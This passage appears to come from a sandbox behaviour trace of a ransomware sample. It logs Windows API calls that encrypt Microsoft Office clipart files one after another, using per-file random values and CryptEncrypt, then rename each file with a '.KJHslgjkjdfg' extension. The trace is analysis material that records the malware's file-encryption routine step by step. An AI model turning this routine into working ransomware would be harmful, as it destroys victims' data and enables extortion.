lpNumberOfBytesWritten=0x29df270*=0x2120, lpOverlapped=0x0) returned 1 [0206.150] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.151] SetEndOfFile (hFile=0x130) returned 1 [0206.153] GetProcessHeap () returned 0x990000 [0206.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.153] GetProcessHeap () returned 0x990000 [0206.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.kjhslgjkjdfg")) returned 1 [0206.155] CloseHandle (hObject=0x130) returned 1 [0206.155] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0206.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.156] GetProcessHeap () returned 0x990000 [0206.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.156] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.156] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.156] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.156] GetProcessHeap () returned 0x990000 [0206.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.156] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.156] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.156] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.159] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.159] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.159] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5080, lpOverlapped=0x0) returned 1 [0206.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5080, dwBufLen=0x5080 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5080) returned 1 [0206.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.160] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5080, lpOverlapped=0x0) returned 1 [0206.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.161] SetEndOfFile (hFile=0x130) returned 1 [0206.163] GetProcessHeap () returned 0x990000 [0206.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.164] GetProcessHeap () returned 0x990000 [0206.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.kjhslgjkjdfg")) returned 1 [0206.165] CloseHandle (hObject=0x130) returned 1 [0206.165] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0206.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.166] GetProcessHeap () returned 0x990000 [0206.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.166] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.166] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.168] GetProcessHeap () returned 0x990000 [0206.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.168] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.168] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.169] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0206.170] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fd0) returned 1 [0206.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.170] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1fd0, lpOverlapped=0x0) returned 1 [0206.171] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.171] SetEndOfFile (hFile=0x130) returned 1 [0206.172] GetProcessHeap () returned 0x990000 [0206.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.172] GetProcessHeap () returned 0x990000 [0206.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.kjhslgjkjdfg")) returned 1 [0206.173] CloseHandle (hObject=0x130) returned 1 [0206.173] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0206.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.174] GetProcessHeap () returned 0x990000 [0206.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.174] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.174] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.176] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.176] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.177] GetProcessHeap () returned 0x990000 [0206.177] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.177] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.177] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.177] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.177] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.177] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.177] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.177] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.178] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x28ec, lpOverlapped=0x0) returned 1 [0206.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28f0, dwBufLen=0x28f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28f0) returned 1 [0206.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.179] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x28f0, lpOverlapped=0x0) returned 1 [0206.179] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.179] SetEndOfFile (hFile=0x130) returned 1 [0206.180] GetProcessHeap () returned 0x990000 [0206.180] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.180] GetProcessHeap () returned 0x990000 [0206.180] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.kjhslgjkjdfg")) returned 1 [0206.182] CloseHandle (hObject=0x130) returned 1 [0206.182] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0206.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.182] GetProcessHeap () returned 0x990000 [0206.182] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.182] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.186] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.186] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.186] GetProcessHeap () returned 0x990000 [0206.186] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.186] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.186] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.186] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.186] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.186] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.186] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.187] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb24, lpOverlapped=0x0) returned 1 [0206.187] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb30, dwBufLen=0xb30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb30) returned 1 [0206.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.187] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb30, lpOverlapped=0x0) returned 1 [0206.187] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.187] SetEndOfFile (hFile=0x130) returned 1 [0206.190] GetProcessHeap () returned 0x990000 [0206.190] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.190] GetProcessHeap () returned 0x990000 [0206.190] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.kjhslgjkjdfg")) returned 1 [0206.192] CloseHandle (hObject=0x130) returned 1 [0206.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0206.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, 